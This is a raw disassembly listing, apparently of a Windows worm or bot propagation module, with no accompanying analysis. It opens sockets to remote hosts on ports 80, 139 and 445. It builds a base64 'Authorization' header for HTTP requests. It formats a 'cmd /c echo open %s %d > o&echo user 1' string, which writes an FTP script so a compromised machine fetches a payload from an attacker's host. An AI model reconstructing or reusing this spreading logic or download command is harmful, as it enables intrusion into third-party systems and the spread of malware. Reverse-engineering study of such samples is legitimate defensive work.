arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_449CAC
push [ebp+arg_0]
call dword_4F1510 ; send
cmp eax, 48h
jnz short loc_40C90F
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40C736
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40C90F
cmp [ebp+var_20], 82h
jz short loc_40C913
loc_40C90F: ; CODE XREF: sub_40C8D4+1Bj
; sub_40C8D4+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40C913: ; CODE XREF: sub_40C8D4+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C7FA
add esp, 0Ch
leave
retn
sub_40C8D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C926 proc near ; CODE XREF: sub_40C972+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_437470
call sub_41CEBC
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_437468
fstp [esp+10h+var_10]
call sub_41CCD0
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41CEBC
inc eax
leave
retn
sub_40C926 endp
; =============== S U B R O U T I N E =======================================
sub_40C972 proc near ; CODE XREF: sub_40CAE9+23p
var_40 = qword ptr -40h
mov eax, offset loc_435FCF
call sub_41D500
sub esp, 2Ch
push esi
lea eax, [ebp-0Dh]
push edi
xor esi, esi
push eax
lea ecx, [ebp-38h]
mov [ebp-20h], esi
call sub_40CD78
push 1
pop edi
push dword ptr [ebp+10h]
mov [ebp-4], edi
call sub_40C926
pop ecx
push eax
lea ecx, [ebp-38h]
call sub_40CE8D
cmp [ebp+10h], esi
mov [ebp-18h], esi
jbe loc_40CABD
push ebx
mov ebx, [ebp+10h]
loc_40C9BA: ; CODE XREF: sub_40C972+144j
cmp dword ptr [ebp+10h], 3
jb short loc_40C9C5
push 3
loc_40C9C2: ; CODE XREF: sub_40C972+5Bj
pop ebx
jmp short loc_40C9D6
; ---------------------------------------------------------------------------
loc_40C9C5: ; CODE XREF: sub_40C972+4Cj
cmp dword ptr [ebp+10h], 2
jnz short loc_40C9CF
push 2
jmp short loc_40C9C2
; ---------------------------------------------------------------------------
loc_40C9CF: ; CODE XREF: sub_40C972+57j
cmp [ebp+10h], edi
jnz short loc_40C9D6
mov ebx, edi
loc_40C9D6: ; CODE XREF: sub_40C972+51j
; sub_40C972+60j
and dword ptr [ebp-24h], 0
mov [ebp-28h], ebx
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_437478
fstp [esp+40h+var_40]
call sub_41CEF0
pop ecx
pop ecx
call sub_41CEBC
test ebx, ebx
mov [ebp-1Ch], eax
jbe short loc_40CA17
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
push 1
and ecx, 3
rep movsb
pop edi
loc_40CA17: ; CODE XREF: sub_40C972+8Aj
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
test eax, eax
mov [ebp-11h], cl
jbe short loc_40CA84
add [ebp-18h], eax
loc_40CA69: ; CODE XREF: sub_40C972+110j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_449CF8[eax]
push eax
push edi
call sub_40CE0D
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40CA69
loc_40CA84: ; CODE XREF: sub_40C972+F2j
cmp dword ptr [ebp-18h], 48h
jb short loc_40CA99
push dword ptr [ebp+14h]
lea ecx, [ebp-38h]
call sub_40CDE5
and dword ptr [ebp-18h], 0
loc_40CA99: ; CODE XREF: sub_40C972+116j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40CAB2
sub esi, [ebp-1Ch]
loc_40CAA4: ; CODE XREF: sub_40C972+13Ej
push 3Dh
push edi
lea ecx, [ebp-38h]
call sub_40CE0D
dec esi
jnz short loc_40CAA4
loc_40CAB2: ; CODE XREF: sub_40C972+12Dj
cmp dword ptr [ebp+10h], 0
ja loc_40C9BA
pop ebx
loc_40CABD: ; CODE XREF: sub_40C972+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-38h]
push eax
call sub_40CD90
mov [ebp-20h], edi
and byte ptr [ebp-4], 0
lea ecx, [ebp-38h]
call sub_40CDDD
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40C972 endp
; =============== S U B R O U T I N E =======================================
sub_40CAE9 proc near ; CODE XREF: .nsp0:0040CCD5p
mov eax, offset loc_435FE9
call sub_41D500
sub esp, 10h
push ebx
push esi
push edi
push offset dword_4E35D8
and dword ptr [ebp-4], 0
push dword ptr [ebp+10h]
lea eax, [ebp-1Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_40C972
add esp, 10h
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 1
call sub_40CE89
lea ecx, [ebp+14h]
mov esi, eax
call sub_40CE89
lea esi, [esi+eax+36h]
push esi
call sub_418ED0
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CB3F
xor bl, bl
jmp short loc_40CB7E
; ---------------------------------------------------------------------------
loc_40CB3F: ; CODE XREF: sub_40CAE9+50j
lea ecx, [ebp-1Ch]
call sub_40CE7C
push eax
lea ecx, [ebp+14h]
call sub_40CE7C
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B910
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call dword_4E08EC
cmp eax, esi
jz short loc_40CB75
xor bl, bl
jmp short loc_40CB77
; ---------------------------------------------------------------------------
loc_40CB75: ; CODE XREF: sub_40CAE9+86j
mov bl, 1
loc_40CB77: ; CODE XREF: sub_40CAE9+8Aj
push edi
call sub_419940
pop ecx
loc_40CB7E: ; CODE XREF: sub_40CAE9+54j
and byte ptr [ebp-4], 0
lea ecx, [ebp-1Ch]
call sub_40CDDD
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+14h]
call sub_40CDDD
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40CAE9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 428h
and byte ptr [ebp-428h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-427h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-428h]
push offset sub_449EA4
push eax
call near ptr sub_41C8D0
add esp, 0Ch
mov eax, offset byte_43A0E8
push eax
push eax
movzx eax, word ptr dword_4E05C8
push eax
push dword ptr [ebp+8]
call sub_40A019
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-399h]
push 400h
push eax
call sub_41B910
add eax, 90h
push eax
lea eax, [ebp-428h]
push eax
push 164h
lea eax, [ebp-28h]
push offset sub_449D3C
push eax
call sub_40C3D0
mov ecx, [eax]
xor ebx, ebx
mov [ebp-8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, ebx
mov [ebp-4], eax
jnz short loc_40CC4F
xor eax, eax
jmp loc_40CD5D
; ---------------------------------------------------------------------------
loc_40CC4F: ; CODE XREF: .nsp0:0040CC46j
mov [ebp-0Ch], ebx
loc_40CC52: ; CODE XREF: .nsp0:0040CD34j
test ebx, ebx
jnz loc_40CD3A
push 6
push 1
push 2
call dword_4F150C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40CD22
xor eax, eax
lea edi, [ebp-1Eh]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-20h], 2
call dword_4E08A0
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call dword_4E08DC
mov [ebp-1Ch], eax
lea eax, [ebp-20h]
push 10h
push eax
push esi
call dword_4E084C
cmp eax, 0FFFFFFFFh
jz short loc_40CD17
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40CCDF
sub esp, 10h
lea eax, [ebp-0Dh]
mov ecx, esp
mov [ebp-24h], esp
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40CDBA
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40CAE9
add esp, 1Ch
jmp short loc_40CD14
; ---------------------------------------------------------------------------
loc_40CCDF: ; CODE XREF: .nsp0:0040CCB7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40CCF9
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40C8D4
jmp short loc_40CD11
; ---------------------------------------------------------------------------
loc_40CCF9: ; CODE XREF: .nsp0:0040CCE9j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40CD17
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40C7FA
loc_40CD11: ; CODE XREF: .nsp0:0040CCF7j
add esp, 0Ch
loc_40CD14: ; CODE XREF: .nsp0:0040CCDDj
movzx ebx, al
loc_40CD17: ; CODE XREF: .nsp0:0040CCAEj
; .nsp0:0040CD03j
push esi
call dword_4E0934
test ebx, ebx
jnz short loc_40CD2D
loc_40CD22: ; CODE XREF: .nsp0:0040CC6Bj
push 3E8h
call dword_4F1334 ; Sleep
loc_40CD2D: ; CODE XREF: .nsp0:0040CD20j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40CC52
loc_40CD3A: ; CODE XREF: .nsp0:0040CC54j
lea ecx, [ebp-8]
call sub_40C1F5
test ebx, ebx
jz short loc_40CD5B
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_4492B0[eax]
lea eax, dword_4492B0[eax]
loc_40CD5B: ; CODE XREF: .nsp0:0040CD44j
mov eax, ebx
loc_40CD5D: ; CODE XREF: .nsp0:0040CC4Aj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CD62: ; DATA XREF: .nsp0:0043A008o
call sub_40D359
jmp $+5
push offset nullsub_1
call sub_41D9F0
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40CD78 proc near ; CODE XREF: sub_40C972+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40D0FA
mov eax, esi
pop esi
retn 4
sub_40CD78 endp
; =============== S U B R O U T I N E =======================================
sub_40CD90 proc near ; CODE XREF: sub_40C972+152p
; sub_4353B0+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40D0FA
push dword_437480
mov ecx, esi
push 0
push edi
call sub_40CF0B
mov eax, esi
pop edi
pop esi
retn 4
sub_40CD90 endp
; =============== S U B R O U T I N E =======================================
sub_40CDBA proc near ; CODE XREF: .nsp0:0040CCC9p
; sub_435350+27p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40D0FA
push [esp+4+arg_0]
mov ecx, esi
call sub_40D001
mov eax, esi
pop esi
retn 8
sub_40CDBA endp
; =============== S U B R O U T I N E =======================================
sub_40CDDD proc near ; CODE XREF: sub_40C972+161p
; sub_40CAE9+9Cp ...
push 1
call sub_40D0FA
retn
sub_40CDDD endp
; =============== S U B R O U T I N E =======================================
sub_40CDE5 proc near ; CODE XREF: sub_40C972+11Ep
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40CE02
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CEA1
pop esi
retn 4
sub_40CDE5 endp
; =============== S U B R O U T I N E =======================================
sub_40CE02 proc near ; CODE XREF: sub_40CDE5+7p
; sub_40D001+7p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_418D00
pop ecx
retn
sub_40CE02 endp
; =============== S U B R O U T I N E =======================================
sub_40CE0D proc near ; CODE XREF: sub_40C972+107p
; sub_40C972+138p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_437480
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40CE27
call sub_435350
loc_40CE27: ; CODE XREF: sub_40CE0D+13j
test ebx, ebx
jbe short loc_40CE5B
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D04E
test al, al
jz short loc_40CE5B
lea eax, [esp+0Ch+arg_4]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push ebx
push eax
call sub_40CE63
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D01E
loc_40CE5B: ; CODE XREF: sub_40CE0D+1Cj
; sub_40CE0D+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CE0D endp
; =============== S U B R O U T I N E =======================================
sub_40CE63 proc near ; CODE XREF: sub_40CE0D+3Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+arg_4]
movsx eax, byte ptr [eax]
push eax
push [esp+8+arg_0]
call sub_41B190
add esp, 0Ch
retn
sub_40CE63 endp
; =============== S U B R O U T I N E =======================================
sub_40CE7C proc near ; CODE XREF: sub_40CAE9+59p
; sub_40CAE9+62p ...
mov eax, [ecx+4]
test eax, eax
jnz short locret_40CE88
call sub_40D0F4
locret_40CE88: ; CODE XREF: sub_40CE7C+5j
retn
sub_40CE7C endp
; =============== S U B R O U T I N E =======================================
sub_40CE89 proc near ; CODE XREF: sub_40CAE9+32p
; sub_40CAE9+3Cp
mov eax, [ecx+8]
retn
sub_40CE89 endp
; =============== S U B R O U T I N E =======================================
sub_40CE8D proc near ; CODE XREF: sub_40C972+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40CE9E
push 0
push eax
call sub_40D04E
locret_40CE9E: ; CODE XREF: sub_40CE8D+7j
retn 4
sub_40CE8D endp
; =============== S U B R O U T I N E =======================================
sub_40CEA1 proc near ; CODE XREF: sub_40CDE5+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_437480
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40CEBB
call sub_435350
loc_40CEBB: ; CODE XREF: sub_40CEA1+13j
test ebx, ebx
jbe short loc_40CEEE
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D04E
test al, al
jz short loc_40CEEE
mov eax, [esi+4]
push ebx
push [esp+10h+arg_0]
add eax, [esi+8]
push eax
call sub_40CEF6
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D01E
loc_40CEEE: ; CODE XREF: sub_40CEA1+1Cj
; sub_40CEA1+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CEA1 endp
; =============== S U B R O U T I N E =======================================
sub_40CEF6 proc near ; CODE XREF: sub_40CEA1+3Dp
; sub_40CF0B+D9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr sub_41C8D0
add esp, 0Ch
retn
sub_40CEF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CF0B proc near ; CODE XREF: sub_40CD90+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
push edi
mov ecx, ebx
call sub_40CFFD
cmp eax, [ebp+arg_4]
jnb short loc_40CF27
call sub_435650
loc_40CF27: ; CODE XREF: sub_40CF0B+15j
mov ecx, ebx
call sub_40CFFD
mov edi, eax
mov eax, [ebp+arg_4]
sub edi, eax
cmp [ebp+arg_8], edi
jnb short loc_40CF3D
mov edi, [ebp+arg_8]
loc_40CF3D: ; CODE XREF: sub_40CF0B+2Dj
cmp esi, ebx
jnz short loc_40CF62
push dword_437480
add edi, eax
mov ecx, esi
push edi
call sub_40D18A
push [ebp+arg_4]
mov ecx, esi
push 0
call sub_40D18A
jmp loc_40CFF4
; ---------------------------------------------------------------------------
loc_40CF62: ; CODE XREF: sub_40CF0B+34j
test edi, edi
jbe short loc_40CFC7
mov ecx, ebx
call sub_40CFFD
cmp edi, eax
jnz short loc_40CFC7
mov ecx, ebx
call sub_40CE7C
push eax
mov ecx, esi
call sub_40D2DF
cmp byte ptr [eax], 0FEh
jnb short loc_40CFC7
push ebx
push esi
call sub_40D344
pop ecx
test al, al
pop ecx
jz short loc_40CFC7
push 1
mov ecx, esi
call sub_40D0FA
mov ecx, ebx
call sub_40CE7C
mov ecx, ebx
mov [esi+4], eax
call sub_40CFFD
mov ecx, ebx
mov [esi+8], eax
call sub_40D216
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40D2DF
inc byte ptr [eax]
jmp short loc_40CFF4
; ---------------------------------------------------------------------------
loc_40CFC7: ; CODE XREF: sub_40CF0B+59j
; sub_40CF0B+64j ...
push 1
push edi
mov ecx, esi
call sub_40D04E
test al, al
jz short loc_40CFF4
push edi
mov ecx, ebx
call sub_40CE7C
add eax, [ebp+arg_4]
push eax
push dword ptr [esi+4]
call sub_40CEF6
add esp, 0Ch
mov ecx, esi
push edi
call sub_40D01E
loc_40CFF4: ; CODE XREF: sub_40CF0B+52j
; sub_40CF0B+BAj ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40CF0B endp
; =============== S U B R O U T I N E =======================================
sub_40CFFD proc near ; CODE XREF: sub_40CF0B+Dp
; sub_40CF0B+1Ep ...
mov eax, [ecx+8]
retn
sub_40CFFD endp
; =============== S U B R O U T I N E =======================================
sub_40D001 proc near ; CODE XREF: sub_40CDBA+18p
; sub_40D2F4+34p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40CE02
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40D154
pop esi
retn 4
sub_40D001 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D01E proc near ; CODE XREF: sub_40CE0D+49p
; sub_40CEA1+48p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40D041
pop ecx
pop ecx
leave
retn 4
sub_40D01E endp
; =============== S U B R O U T I N E =======================================
sub_40D041 proc near ; CODE XREF: sub_40D01E+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40D041 endp
; =============== S U B R O U T I N E =======================================
sub_40D04E proc near ; CODE XREF: sub_40CE0D+28p
; sub_40CE8D+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40D204
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40D065
call sub_435350
loc_40D065: ; CODE XREF: sub_40D04E+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40D0A5
push eax
mov ecx, esi
call sub_40D2DF
cmp [eax], bl
jz short loc_40D0A5
push dword ptr [esi+4]
mov ecx, esi
call sub_40D2DF
cmp byte ptr [eax], 0FFh
jz short loc_40D0A5
cmp edi, ebx
jnz short loc_40D0E4
push dword ptr [esi+4]
mov ecx, esi
call sub_40D2DF
dec byte ptr [eax]
push ebx
loc_40D09A: ; CODE XREF: sub_40D04E+63j
mov ecx, esi
call sub_40D0FA
loc_40D0A1: ; CODE XREF: sub_40D04E+68j
; sub_40D04E+72j
xor al, al
jmp short loc_40D0EE
; ---------------------------------------------------------------------------
loc_40D0A5: ; CODE XREF: sub_40D04E+1Ej
; sub_40D04E+2Aj ...
cmp edi, ebx
jnz short loc_40D0C2
cmp [esp+0Ch+arg_4], bl
jz short loc_40D0B3
push 1
jmp short loc_40D09A
; ---------------------------------------------------------------------------
loc_40D0B3: ; CODE XREF: sub_40D04E+5Fj
cmp [esi+4], ebx
jz short loc_40D0A1
push ebx
mov ecx, esi
call sub_40D01E
jmp short loc_40D0A1
; ---------------------------------------------------------------------------
loc_40D0C2: ; CODE XREF: sub_40D04E+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40D0DF
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D0D4
cmp eax, edi
jnb short loc_40D0EC
loc_40D0D4: ; CODE XREF: sub_40D04E+80j
push 1
mov ecx, esi
call sub_40D0FA
jmp short loc_40D0E4
; ---------------------------------------------------------------------------
loc_40D0DF: ; CODE XREF: sub_40D04E+78j
cmp [esi+0Ch], edi
jnb short loc_40D0EC
loc_40D0E4: ; CODE XREF: sub_40D04E+3Dj
; sub_40D04E+8Fj
push edi
mov ecx, esi
call sub_40D21A
loc_40D0EC: ; CODE XREF: sub_40D04E+84j
; sub_40D04E+94j
mov al, 1
loc_40D0EE: ; CODE XREF: sub_40D04E+55j
pop edi
pop esi
pop ebx
retn 8
sub_40D04E endp
; =============== S U B R O U T I N E =======================================
sub_40D0F4 proc near ; CODE XREF: sub_40CE7C+7p
mov eax, offset dword_437484
retn
sub_40D0F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D0FA proc near ; CODE XREF: sub_40CD78+Dp
; sub_40CD90+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40D146
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40D146
push eax
call sub_40D2DF
cmp [eax], bl
jz short loc_40D134
push dword ptr [esi+4]
mov ecx, esi
call sub_40D2DF
cmp byte ptr [eax], 0FFh
jz short loc_40D134
push dword ptr [esi+4]
mov ecx, esi
call sub_40D2DF
dec byte ptr [eax]
jmp short loc_40D146
; ---------------------------------------------------------------------------
loc_40D134: ; CODE XREF: sub_40D0FA+1Bj
; sub_40D0FA+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call sub_40D2E7
loc_40D146: ; CODE XREF: sub_40D0FA+Aj
; sub_40D0FA+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40D0FA endp
; =============== S U B R O U T I N E =======================================
sub_40D154 proc near ; CODE XREF: sub_40D001+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
push [esp+8+arg_4]
mov esi, ecx
call sub_40D04E
test al, al
jz short loc_40D184
push [esp+4+arg_4]
push [esp+8+arg_0]
push dword ptr [esi+4]
call sub_40CEF6
add esp, 0Ch
mov ecx, esi
push [esp+4+arg_4]
call sub_40D01E
loc_40D184: ; CODE XREF: sub_40D154+10j
mov eax, esi
pop esi
retn 8
sub_40D154 endp
; =============== S U B R O U T I N E =======================================
sub_40D18A proc near ; CODE XREF: sub_40CF0B+41p
; sub_40CF0B+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D19D
call sub_435650
loc_40D19D: ; CODE XREF: sub_40D18A+Cj
mov ecx, edi
call sub_40D2F4
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D1B3
mov ebx, eax
loc_40D1B3: ; CODE XREF: sub_40D18A+25j
test ebx, ebx
jbe short loc_40D1E7
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40D1EF
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D04E
test al, al
jz short loc_40D1E7
push esi
mov ecx, edi
call sub_40D01E
loc_40D1E7: ; CODE XREF: sub_40D18A+2Bj
; sub_40D18A+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D18A endp
; =============== S U B R O U T I N E =======================================
sub_40D1EF proc near ; CODE XREF: sub_40D18A+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41D520
add esp, 0Ch
retn
sub_40D1EF endp
; =============== S U B R O U T I N E =======================================
sub_40D204 proc near ; CODE XREF: sub_40D04E+5p
; sub_40D21A+1Ep
call sub_40D340
cmp eax, 2
ja short loc_40D212
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_40D212: ; CODE XREF: sub_40D204+8j
add eax, 0FFFFFFFEh
retn
sub_40D204 endp
; =============== S U B R O U T I N E =======================================
sub_40D216 proc near ; CODE XREF: sub_40CF0B+A6p
mov eax, [ecx+0Ch]
retn
sub_40D216 endp
; =============== S U B R O U T I N E =======================================
sub_40D21A proc near ; CODE XREF: sub_40D04E+99p
mov eax, offset loc_435FF4
call sub_41D500
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
mov [ebp-10h], esp
mov [ebp-14h], esi
or edi, 1Fh
call sub_40D204
cmp eax, edi
jnb short loc_40D244
mov edi, [ebp+8]
loc_40D244: ; CODE XREF: sub_40D21A+25j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40D330
mov [ebp+8], eax
jmp short loc_40D27D
; ---------------------------------------------------------------------------
loc_40D25A: ; DATA XREF: .nsp0:0043927Co
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [ebp-18h], eax
add eax, 2
push 0
push eax
call sub_40D330
mov [ebp+8], eax
mov eax, offset loc_40D277
retn
; ---------------------------------------------------------------------------
loc_40D277: ; DATA XREF: sub_40D21A+57o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D27D: ; CODE XREF: sub_40D21A+3Ej
mov eax, [esi+8]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jbe short loc_40D29F
cmp eax, edi
jbe short loc_40D28E
mov eax, edi
loc_40D28E: ; CODE XREF: sub_40D21A+70j
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40CEF6
add esp, 0Ch
loc_40D29F: ; CODE XREF: sub_40D21A+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D0FA
mov eax, [ebp+8]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40D2DF
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D2C6
mov edi, ebx
loc_40D2C6: ; CODE XREF: sub_40D21A+A8j
push edi
mov ecx, esi
call sub_40D01E
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D21A endp
; =============== S U B R O U T I N E =======================================
sub_40D2DF proc near ; CODE XREF: sub_40CF0B+70p
; sub_40CF0B+B3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40D2DF endp
; =============== S U B R O U T I N E =======================================
sub_40D2E7 proc near ; CODE XREF: sub_40D0FA+47p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41D860
pop ecx
retn 8
sub_40D2E7 endp
; =============== S U B R O U T I N E =======================================
sub_40D2F4 proc near ; CODE XREF: sub_40D18A+15p
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_40D32E
push eax
call sub_40D2DF
cmp byte ptr [eax], 0
jz short loc_40D32E
push dword ptr [esi+4]
mov ecx, esi
call sub_40D2DF
cmp byte ptr [eax], 0FFh
jz short loc_40D32E
push edi
mov edi, [esi+4]
push 1
mov ecx, esi
call sub_40D0FA
push edi
mov ecx, esi
call sub_40D001
pop edi
loc_40D32E: ; CODE XREF: sub_40D2F4+8j
; sub_40D2F4+13j ...
pop esi
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D330 proc near ; CODE XREF: sub_40D21A+36p
; sub_40D21A+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40D347
pop ecx
pop ecx
retn 8
sub_40D330 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D204p
or eax, 0FFFFFFFFh
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
